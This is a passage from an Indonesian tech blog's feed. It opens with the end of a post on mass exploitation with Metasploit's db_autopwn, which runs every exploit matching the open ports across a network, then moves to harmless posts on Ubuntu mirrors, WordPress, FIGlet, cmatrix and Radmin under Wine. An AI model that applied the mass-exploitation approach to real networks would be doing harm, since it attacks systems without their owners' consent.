Nah… sekarang coba anda bayangkan, gimana kalo kedua metode tersebut digabung? Dalam artian melakukan scaning ke SEMUA port terbuka dalam suatu network? Atau malah scanning ke network berkelas A.. Silahkan anda bayangkan sendiri.. :D
Kalo bayangan saya ya kompi anda pasti hang apalagi kalo resource hardwarenya pas-pasan kaya saya ini hehehe.. Atau malah lebih sadis lagi kalo anda gunakan untuk scanning di internet bisa-bisa diblokir ma ISP-nya haha….
Sebenarnya teknik-teknik ini kurang bagus, karena eksploitasi yang dilakukan tergolong ngawor, karena dengan hanya ber-ASUMSI pada port terbuka, maka db_autopwn akan menjalankan SEMUA modul yang ada dengan spesifikasi port tersebut, ndak peduli modul yang dipanggil relevan apa tidak dengan vulner/sistem yang terkait.
Supaya eksploitasi sistem lebih fokus dan terarah dapat juga menggunakan tools nessus, karena kita dapat memanfaatkan cross referencing mode (opsi -x) di db_autopwn. Artikelnya nyusul yah, karena laptop ini belum ada nessusnya. Abis fresh install :D

Seperti biasa, use this article wisely. Saya ndak akan nulis artikel ini utk tujuan pendidikan semata, penulis tidak bertanggung jawab bla..bla..bla.. Tapi saya lebih suka menggugah kesadaran anda saja.

Sumber, kredit, dan tautan terkait :
- http://www.kecoak-elektronik.net
- http://blog.metasploit.com

]]> http://www.masrony.com/2009/04/metasploit-ii-mass-exploitation/feed/ 9 Repository Ubuntu Indonesia http://www.masrony.com/2009/03/repository-ubuntu-indonesia/ http://www.masrony.com/2009/03/repository-ubuntu-indonesia/#comments Sat, 21 Mar 2009 19:11:17 +0000 Mas Rony http://www.masrony.com/?p=193 Artikel ini saya ambil dari http://wiki.ubuntu-id.org/SourcesListLokal. Ya supaya besok-besok kalo repo yang biasa saya pake susah koneknya, gampang nyari yang lain. Berikut daftar repo lokal indonesia :

Repositori Kambing (UI — Telkom, Indosat, OpenIXP, INHERENT)
Informasi situs: http://kambing.ui.edu

### sources.list.kambing
### Repository dengan menggunakan server mirror kambing.ui.edu
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy
### dengan misalnya dapper atau feisty dsb
## REPOSITORY UTAMA
deb http://kambing.ui.edu/ubuntu gutsy main restricted universe multiverse
deb-src http://kambing.ui.edu/ubuntu gutsy main restricted universe multiverse
## INI UNTUK MAJOR BUG FIX UPDATES
deb http://kambing.ui.edu/ubuntu gutsy-updates main restricted universe multiverse
deb-src http://kambing.ui.edu/ubuntu gutsy-updates main restricted universe multiverse
## INI UNTUK UBUNTU SECURITY UPDATES
deb http://kambing.ui.edu/ubuntu gutsy-security main restricted universe multiverse
deb-src http://kambing.ui.edu/ubuntu gutsy-security main restricted universe multiverse

Cara penggunaan:

wget http://arsip.ubuntu-id.org/berkas/sources.list.kambing
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original
sudo cp sources.list.kambing /etc/apt/sources.list
sudo apt-get update

Repositori CBN Mirror (OpenIXP)
Informasi situs: http://mirror.cbn.net.id

### sources.list.cbn
### Repository dengan menggunakan server mirror.cbn.net.id
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy
### dengan misalnya dapper atau feisty dsb
## REPOSITORY UTAMA
deb http://ubuntu.cbn.net.id/Ubuntu gutsy main restricted universe multiverse
deb-src http://ubuntu.cbn.net.id/Ubuntu gutsy main restricted universe multiverse
## INI UNTUK MAJOR BUG FIX UPDATES
deb http://ubuntu.cbn.net.id/Ubuntu gutsy-updates main restricted universe multiverse
deb-src http://ubuntu.cbn.net.id/Ubuntu gutsy-updates main restricted universe multiverse
## INI UNTUK UBUNTU SECURITY UPDATES
deb http://ubuntu.cbn.net.id/Ubuntu gutsy-security main restricted universe multiverse
deb-src http://ubuntu.cbn.net.id/Ubuntu gutsy-security main restricted universe multiverse

Cara penggunaan:

wget http://arsip.ubuntu-id.org/berkas/sources.list.cbn
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original
sudo cp sources.list.cbn /etc/apt/sources.list
sudo apt-get update

Repositori Komo (OpenIXP)
Informasi situs: http://komo.vlsm.org

### sources.list.komo
### Repository dengan menggunakan server mirror komo.vlsm.org
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy
### dengan misalnya dapper atau feisty dsb
## REPOSITORY UTAMA
deb http://komo.vlsm.org/ubuntu gutsy main restricted universe multiverse
deb-src http://komo.vlsm.org/ubuntu/ gutsy main restricted universe multiverse
## INI UNTUK MAJOR BUG FIX UPDATES
deb http://komo.vlsm.org/ubuntu gutsy-updates main restricted universe multiverse
deb-src http://komo.vlsm.org/ubuntu gutsy-updates main restricted universe multiverse
## INI UNTUK UBUNTU SECURITY UPDATES
deb http://komo.vlsm.org/ubuntu gutsy-security main restricted universe multiverse
deb-src http://komo.vlsm.org/ubuntu gutsy-security main restricted universe multiverse

Cara penggunaan:

wget http://arsip.ubuntu-id.org/berkas/sources.list.komo
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original
sudo cp sources.list.komo /etc/apt/sources.list
sudo apt-get update

Repositori IndikaNet (OpenIXP)
Informasi situs: http://indika.net.id

### sources.list.indika
### Repository dengan menggunakan server mirror ubuntu.indika.net.id
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy
### dengan misalnya dapper atau feisty dsb
## REPOSITORY UTAMA
deb http://ubuntu.indika.net.id/ gutsy main restricted universe multiverse
deb-src http://ubuntu.indika.net.id/ gutsy main restricted universe multiverse
## INI UNTUK MAJOR BUG FIX UPDATES
deb http://ubuntu.indika.net.id/ gutsy-updates main restricted universe multiverse
deb-src http://ubuntu.indika.net.id/ gutsy-updates main restricted universe multiverse
## INI UNTUK UBUNTU SECURITY UPDATES
deb http://ubuntu.indika.net.id/ gutsy-security main restricted universe multiverse
deb-src http://ubuntu.indika.net.id/ gutsy-security main restricted universe multiverse

Cara penggunaan:

wget http://arsip.ubuntu-id.org/berkas/sources.list.indika
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original
sudo cp sources.list.indika /etc/apt/sources.list
sudo apt-get update

Repositori ITB (Network ITB & Inherent) – FTP only
Informasi situs: ftp://ftp.itb.ac.id

### sources.list.ftpitb
### Repository dengan menggunakan server mirror ftp.itb.ac.id
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy
### dengan misalnya dapper atau feisty dsb
## REPOSITORY UTAMA
deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy main restricted universe multiverse
deb-src ftp://ftp.itb.ac.id/pub/ubuntu gutsy main restricted universe multiverse
## INI UNTUK MAJOR BUG FIX UPDATES
deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy-updates main restricted universe multiverse
deb-src ftp://ftp.itb.ac.id/pub/ubuntu gutsy-updates main restricted universe multiverse
## INI UNTUK UBUNTU SECURITY UPDATES
deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy-security main restricted universe multiverse
deb-src ftp://ftp.itb.ac.id/pub/ubuntu gutsy-security main restricted universe multiverse

Cara penggunaan:

wget http://arsip.ubuntu-id.org/berkas/sources.list.ftpitb
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original
sudo cp sources.list.ftpitb /etc/apt/sources.list
sudo apt-get update

Repositori UGM (Inherent)
Informasi situs: http://info.ugm.ac.id dan http://repo.ugm.ac.id/

### sources.list.ugm
### Repository dengan menggunakan server mirror repo.ugm.ac.id
### Untuk saat ini repo.ugm.ac.id hanya tersedia dist gutsy saja
## REPOSITORY UTAMA
deb http://repo.ugm.ac.id/ubuntu gutsy main restricted universe multiverse
## INI UNTUK MAJOR BUG FIX UPDATES
deb http://repo.ugm.ac.id/ubuntu gutsy-updates main restricted universe multiverse
## INI UNTUK UBUNTU SECURITY UPDATES
deb http://repo.ugm.ac.id/ubuntu gutsy-security main restricted universe multiverse

Cara penggunaan:

wget http://arsip.ubuntu-id.org/berkas/sources.list.ugm
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original
sudo cp sources.list.ugm /etc/apt/sources.list
sudo apt-get update

Repositori FOSS-ID (Telkom)
Informasi situs: http://www.foss-id.web.id

### sources.list.foss-id
### Repository dengan menggunakan server mirror foss-id.web.id
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy
### dengan misalnya dapper atau feisty dsb
## REPOSITORY UTAMA
deb http://dl2.foss-id.web.id/ubuntu gutsy main restricted universe multiverse
deb-src http://dl2.foss-id.web.id/ubuntu gutsy main restricted universe multiverse
## INI UNTUK MAJOR BUG FIX UPDATES
deb http://dl2.foss-id.web.id/ubuntu gutsy-updates main restricted universe multiverse
deb-src http://dl2.foss-id.web.id/ubuntu gutsy-updates main restricted universe multiverse
## INI UNTUK UBUNTU SECURITY UPDATES
deb http://dl2.foss-id.web.id/ubuntu gutsy-security main restricted universe multiverse
deb-src http://dl2.foss-id.web.id/ubuntu gutsy-security main restricted universe multiverse

Cara penggunaan:

wget http://arsip.ubuntu-id.org/berkas/sources.list.foss-id
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original
sudo cp sources.list.foss-id /etc/apt/sources.list
sudo apt-get update

Repositori ITS (Inherent)
Informasi situs: http://mirror.its.ac.id/

### sources.list.its
### Repository dengan menggunakan server mirror mirror.its.ac.id
## REPOSITORY UTAMA
deb http://mirror.its.ac.id/ubuntu gutsy main restricted universe multiverse
## INI UNTUK MAJOR BUG FIX UPDATES
deb http://mirror.its.ac.id/ubuntu gutsy-updates main restricted universe multiverse
## INI UNTUK UBUNTU SECURITY UPDATES
deb http://mirror.its.ac.id/ubuntu gutsy-security main restricted universe multiverse

Cara penggunaan:

wget http://arsip.ubuntu-id.org/berkas/sources.list.its
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original
sudo cp sources.list.its /etc/apt/sources.list
sudo apt-get update

Repository UNEJ (OpenIXP, Telkom)
Informasi situs: http://mirror.unej.ac.id/

### sources.list.unej
deb http://mirror.unej.ac.id/ubuntu/ intrepid main restricted universe multiverse
deb-src http://mirror.unej.ac.id/ubuntu/ intrepid main restricted universe multiverse
deb http://mirror.unej.ac.id/ubuntu/ intrepid-updates main restricted universe multiverse
deb-src http://mirror.unej.ac.id/ubuntu/ intrepid-updates main restricted universe multiverse
deb http://mirror.unej.ac.id/ubuntu/ intrepid-security main restricted universe multiverse
deb-src http://mirror.unej.ac.id/ubuntu/ intrepid-security main restricted universe multiverse

Cara penggunaan:

wget http://mirror.unej.ac.id/doc/sources.list-ubuntu.intrepid
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original
sudo cp sources.list-ubuntu.intrepid /etc/apt/sources.list
sudo apt-get update

Repository KLAS (IIXJI, Radnet)
Informasi situs: http://buaya.klas.or.id/

### sources.list.buaya
deb http://buaya.klas.or.id/ubuntu/ intrepid main restricted universe multiverse
deb-src http://buaya.klas.or.id/ubuntu/ intrepid main restricted universe multiverse
deb http://buaya.klas.or.id/ubuntu/ intrepid-updates main restricted universe multiverse
deb-src http://buaya.klas.or.id/ubuntu/ intrepid-updates main restricted universe multiverse
deb http://buaya.klas.or.id/ubuntu/ intrepid-security main restricted universe multiverse
deb-src http://buaya.klas.or.id/ubuntu/ intrepid-security main restricted universe multiverse

]]> http://www.masrony.com/2009/03/repository-ubuntu-indonesia/feed/ 3 Simple Wordpress Installation http://www.masrony.com/2009/03/simple-wordpress-installation/ http://www.masrony.com/2009/03/simple-wordpress-installation/#comments Sat, 21 Mar 2009 09:30:54 +0000 Mas Rony http://www.masrony.com/?p=151 Kalo ingin utak-atik wordpress dan plugins ataupun coba-coba sesuatu, biasanya saya lakukan di lokal komputer. Lebih mudah, ringan, dan ndak perlu konek ke online blog. Ini juga sangat berguna bagi kaum fakir bandwidth :D . Lah dari pada bengong nunggu hasil test eh ternyata error atau hasilnya tidak seperti yang kita inginkan kan malah bikin bete, Iya toh.. ya toh….
Sebelumnya siapkan dulu paket webservernya yaitu apache, php, dan mysql. Bagi yang menggunakan windows bisa menggunakan XAMPP. Kalo make linux malah lebih mudah karena di distro-nya udah mencakup paket-paket ini. Untuk instalasinya bisa baca-baca manual masing-masing distro. Bagi yang kebetulan menggunakan distro ubuntu bisa langsung ikuti cara berikut ini :

    $ sudo apt-get install apache2 php5 mysql-server apache2-suexec php5-mysql php5-gd php5-suhosin libapache2-mod-php5

Kemudian buka file httpd.conf di folder /etc/apache2. Gunakan editor yang anda suka:

    $ sudo vi /etc/apache2/httpd.conf

Tambahkan dengan nama server (terserah anda) :

    Servername www.masrony.com:80

simpan konfigurasi tersebut dan restart apache-nya :

    $ sudo /etc/init.d/apache2 restart

Buat file dengan nama info.php di folder /var/www :

    $ sudo touch /var/www/info.php

Edit file tersebut seperti berikut ini :

    $ sudo vi /var/www/info.php
    <?php
    phpinfo();
    phpinfo(INFO_MODULES);
    ?>

Simpan file tersebut (simpan file menggunakan vi : Shift + zz) dan buka browser dan ketikkan url : http://localhost/info.php. Sehingga akan tampil hasil konfigurasi web server anda seperti ini :

Instalasi web server sudah selesai. Untuk mempelajari lebih lanjut mengenai web server ini silahkan anda buka manual page yang telah disediakan. Kemudian download wordpress versi terbaru disini, dengan menggunakan wget :

    $ sudo wget -c http://wordpress.org/latest.zip

Kemudian mekarkan file kompresi tersebut :

    $ unzip latest.zip

Hasil ekstraksi file tersebut berada dalam folder wordpress. Pindahkan semua file tersebut ke dalam folder /var/www (root direktori apache) :

    $ sudo mv wordpress/* /var/www

Kemudian buat database wordpress dengan user wp dan password wp untuk instalasi wordpress ini di mysql :

    sinchan@hydra:~$ mysql -u root -p mysql
    Enter password: ***********
    Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
    mysql> create database wordpress;
    Query OK, 1 row affected (0.00 sec)
    mysql> grant all on wordpress.* to wp@localhost identified by ‘wp’;
    Query OK, 0 rows affected (0.07 sec)
    mysql> flush privileges;
    Query OK, 0 rows affected (0.00 sec)
    mysql> exit
    Bye
    sinchan@hydra:~$

Kemudian kopi file wp-config-sample.php menjadi wp-config.php di folder /var/www dan edit konfigurasi database di file tersebut :

    $ sudo cp /var/www/wp-config-sample.php /var/www/wp-config.php
    $ sudo vi /var/www/wp-config.php

Ubah bagian DB_NAME, DB_USER, dan DB_PASSWORD seperti dibawah ini (sesuai konfigurasi database di atas) :

    ———————–
    // ** MySQL settings – You can get this info from your web host ** //
    /** The name of the database for WordPress */
    define(‘DB_NAME’, ‘wordpress’);
    /** MySQL database username */
    define(‘DB_USER’, ‘wp’);

    /** MySQL database password */
    define(‘DB_PASSWORD’, ‘wp’);

    /** MySQL hostname */
    define(‘DB_HOST’, ‘localhost’);
    ———————–

Simpan file tersebut. Konfigurasi wordpress sudah selesai dan next step : instalasi wordpress. Instalasi wordpress, dilakukan dari web browser. Buka web browser anda dan ketikkan url : http://localhost/wp-admin/install.php, seperti dibawah ini:

Isi informasi blog yang anda buat dan tekan Install Wordpress. Setelah instalasi sukses, anda akan mendapatkan username dan password wordpress, seperti gambar dibawah ini:

Tekan login untuk masuk ke menu administrasi wordpress dan masukkan user dan password yang telah diberikan sebelumnya seperti gambar di bawah:

Wordpress telah siap digunakan, silahkan anda kembangkan kreatitifitas anda:

]]> http://www.masrony.com/2009/03/simple-wordpress-installation/feed/ 1 FIGcharacters menggunakan FIGlet http://www.masrony.com/2009/03/figcharacters-menggunakan-figlet/ http://www.masrony.com/2009/03/figcharacters-menggunakan-figlet/#comments Sat, 14 Mar 2009 09:51:50 +0000 Mas Rony http://www.masrony.com/?p=95 Apakah anda pernah melihat footer email atau motd seperti ini :

         _ __ ___   __ _ ___ _ __ ___  _ __  _   _   ___ ___  _ __ ___
        | '_ ` _ \ / _` / __| '__/ _ \| '_ \| | | | / __/ _ \| '_ ` _ \
        | | | | | | (_| \__ \ | | (_) | | | | |_| || (_| (_) | | | | | |
        |_| |_| |_|\__,_|___/_|  \___/|_| |_|\__, (_)___\___/|_| |_| |_|
                                              __/ |
                                             |___/

Atau seperti ini :

 ______________________________________________________________________________________
 oo_oo_oo___ooooo___oooo__oo_ooo___ooooo__oo_ooo___o___oo_____ooooo___ooooo__oo_oo_oo__
 ooo_oo__o_oo___oo_oo___o_ooo___o_oo___oo_ooo___o__o___oo____oo___oo_oo___oo_ooo_oo__o_
 oo__oo__o_oo___oo___oo___oo______oo___oo_oo____o__o___oo____oo______oo___oo_oo__oo__o_
 oo__oo__o_oo___oo_o___oo_oo______oo___oo_oo____o___ooooo_oo_oo______oo___oo_oo__oo__o_
 oo______o__oooo_o__oooo__oo_______ooooo__oo____o_o____oo_oo__ooooo___ooooo__oo______o_
 __________________________________________________ooooo_______________________________

atau seperti ini :

       __  __    __    ___  ____  _____  _  _  _  _   ___  _____  __  __
      (  \/  )  /__\  / __)(  _ \(  _  )( \( )( \/ ) / __)(  _  )(  \/  )
       )    (  /(__)\ \__ \ )   / )(_)(  )  (  \  / ( (__  )(_)(  )    (
      (_/\/\_)(__)(__)(___/(_)\_)(_____)(_)\_) (__)()\___)(_____)(_/\/\_)

Saya sendiri sering sekali melihat banner seperti itu. Dalam hati saya, kok ada yah orang yang begitu telaten merangkai huruf-huruf menjadi banner seperti itu. Sangat kreatif.. Ternyata rangkaian huruf-huruf tersebut dinamakan FIGcharacters, dan dibuat menggunakan aplikasi yang dinamakan FIGlet.. hehehe.. katro’ yah.. baru tahu sekarang… Kalau tertarik untuk mencoba, bisa download di ftp://ftp.figlet.org/pub/figlet/. Dukungan terhadap operating systemnya juga cukup lengkap.

Karena saya make ubuntu cukup minta ke repository dengan menuliskan di console seperti ini :

sinchan@cluster1:~$ sudo apt-get install figlet

Tambahkan font-font yang mendukung FIGlet dengan cara :

sinchan@cluster1:~$ wget -c ‘http://www.jave.de/figlet/figletfonts40.zip’ -O fonts.zip

Kemudian ekstrak file fonts.zip tersebut :

sinchan@cluster1:~$ unzip fonts.zip

Pindahkan semua files di folder fonts ke folder /usr/share/figlet :

sinchan@cluster1:~$ sudo cp fonts/* /usr/share/figlet/

Selesai dan mari kita test figlet kita dengan font-font tersebut

sinchan@cluster1:~$ figlet mas rony -ctf roman

ooo. .oo.  .oo.    .oooo.    .oooo.o    oooo d8b  .ooooo.  ooo. .oo.   oooo    ooo
`888P"Y88bP"Y88b  `P  )88b  d88(  "8    `888""8P d88' `88b `888P"Y88b   `88.  .8'
 888   888   888   .oP"888  `"Y88b.      888     888   888  888   888    `88..8'
 888   888   888  d8(  888  o.  )88b     888     888   888  888   888     `888'
o888o o888o o888o `Y888""8o 8""888P'    d888b    `Y8bod8P' o888o o888o     .8'
                                                                       .o..P'
                                                                       `Y8P'

Untuk parameter yang lain bisa dilihat di manual page. Selamat mencoba..

]]> http://www.masrony.com/2009/03/figcharacters-menggunakan-figlet/feed/ 0 Animasi Film Matrix http://www.masrony.com/2009/03/animasi-film-matrix/ http://www.masrony.com/2009/03/animasi-film-matrix/#comments Thu, 05 Mar 2009 14:09:37 +0000 Mas Rony http://www.masrony.com/?p=82 Anda pasti sudah pernah menonton film Matrix yang heboh beberapa tahun yang lalu itu kan? Pasti jawabannya sudah. Misalkan belum nonton pasti jawabannya tetep sama : sudah.. soalnya biar ga dibilang katrok hahaha… Apakah anda ingat pas ada adegan yang ada animasi di super komputer yang berwarna hijau? Gambarnya kalo ga salah seperti ini :

Matrix Reloaded

Nah bagi anda yang sering bekerja di lingkungan shell atau console, animasi ini mungkin bisa sedikit menghibur dan memberi warna lain di layar hitam anda. Animasi ini bernama cmatrix dan ditulis oleh Chris Allegretta (kalo ga salah udah jadul bgt… dulu tahun ‘99) dan bagi yang tertarik untuk mencoba, bisa mengunduh source tarbal-nya  disini. Dan bagi pengguna ubuntu (seperti saya xD) malah lebih lebih mudah intalasinya karena tidak perlu mengunduh tarbalnya, tapi tinggal buka terminal dan ketik :
sinchan@cluster1:~$ sudo apt-get install cmatrix
Nah animasi sudah siap digunakan dan selamat bernostalgia dengan ‘Matrix Reloaded’

]]> http://www.masrony.com/2009/03/animasi-film-matrix/feed/ 0 Remote Administrator di Ubuntu http://www.masrony.com/2009/03/remote-administrator-di-ubuntu/ http://www.masrony.com/2009/03/remote-administrator-di-ubuntu/#comments Mon, 02 Mar 2009 14:59:28 +0000 Mas Rony http://www.masrony.com/?p=45

Awalnya iseng kopi ubuntu live CD dari temen, and ternyata grafisnya bagus banget. Brani kok saingan ma vista. Apalagi untuk masalah update maupun instalasi di ubuntu udah mudah banget.. Kalo ga salah namanya Ubuntu Intrepid Ibex ya. bye-bye Centos…. Eh nggak ding.. untuk urusan server database masih megang centos lah… hehehe..
Tapi ada kebutuhan saya sehari-hari yang belum tersedia di ubuntu / linux, yaitu Remote Administrator atau yang biasa disebut Radmin. Sempet beberapa kali ubek-ubek internet nyari radmin versi linux tapi ga ada, and baca-baca forumnya ternyata emang mereka tidak belum bisa support untuk linux.
Supaya radmin tetep jalan akhirnya kuinstall emulator linux yaitu wine. Instalasinya cukup mudah. Dari terminal tinggal ketik :
sinchan@cluster1:~$ sudo apt-get install wine
Setelah instalasi selesai, silahkan periksa isi folder home directory kita, seharusnya sudah terisi dengan folder .wine (foldernya hidden). Folder ini nantinya yang akan kita isi dengan aplikasi Radmin yang ingin kita gunakan. Kopi seluruh folder Radmin di drive windows kita (biasanya drive C:\Program Files)  dan kopikan ke folder ~/.wine/drive_c/Program Files. Kemudian jalankan wine, dari terminal ketik :
sinchan@cluster1:~$ wine C:\\Program\ Files\\Radmin\\Radmin.exe
Perhatikan penulisan penunjukan folder diatas. Ada yang back slash, ada yang double back slash. Untuk lebih jelasnya bisa dilihat di manual wine dengan menuliskan di console :
sinchan@cluster1:~$ man wine
Setelah wine dieksekusi, radmin sudah bisa digunakan seperti biasa. Oh iya.. untuk sending key Ctrl + Alt + Del ke remote komputer, by default biasanya menggunakan Ctrl + Alt + F12. Disarankan untuk diganti dengan key apa saja asal tidak menggunakan Function key (Fx). Apabila ingin menggunakan aplikasi windows lain dan belum tersedia di linux platform bisa menggunakan emulator wine dengan cara yang sama seperti langkah diatas.

]]> http://www.masrony.com/2009/03/remote-administrator-di-ubuntu/feed/ 0